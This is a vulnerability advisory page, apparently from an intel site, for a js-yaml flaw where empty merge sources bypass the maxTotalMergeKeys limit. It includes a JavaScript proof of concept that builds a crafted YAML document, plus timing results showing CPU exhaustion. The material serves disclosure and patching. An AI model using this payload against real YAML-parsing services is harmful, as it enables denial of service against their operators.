Skip to content
Fencer Intel
medium 5.3

GHSA-r3ph-w7gj-g6xm json

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

published 2mo ago modified last mo.

cvss
5.3
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## Summary

`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

## Example

```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ```

For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.

## PoC

```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`) ```

Observed results:

| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |

## Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.

## Fix

Count every merge source mapping as one budget unit in addition to counting its keys.

Patch / fix

Is GHSA-r3ph-w7gj-g6xm in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Affected packages

ecosystem package affected fixed in
npm js-yaml
>=5.0.0, <5.4.1
5.4.1

Classification

Weakness
  • CWE-400 Uncontrolled Resource Consumption
  • CWE-407 Inefficient Algorithmic Complexity

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

The maintainers of nodeca/js-yaml published their own advisory on GitHub. Reviewed sources take precedence over it.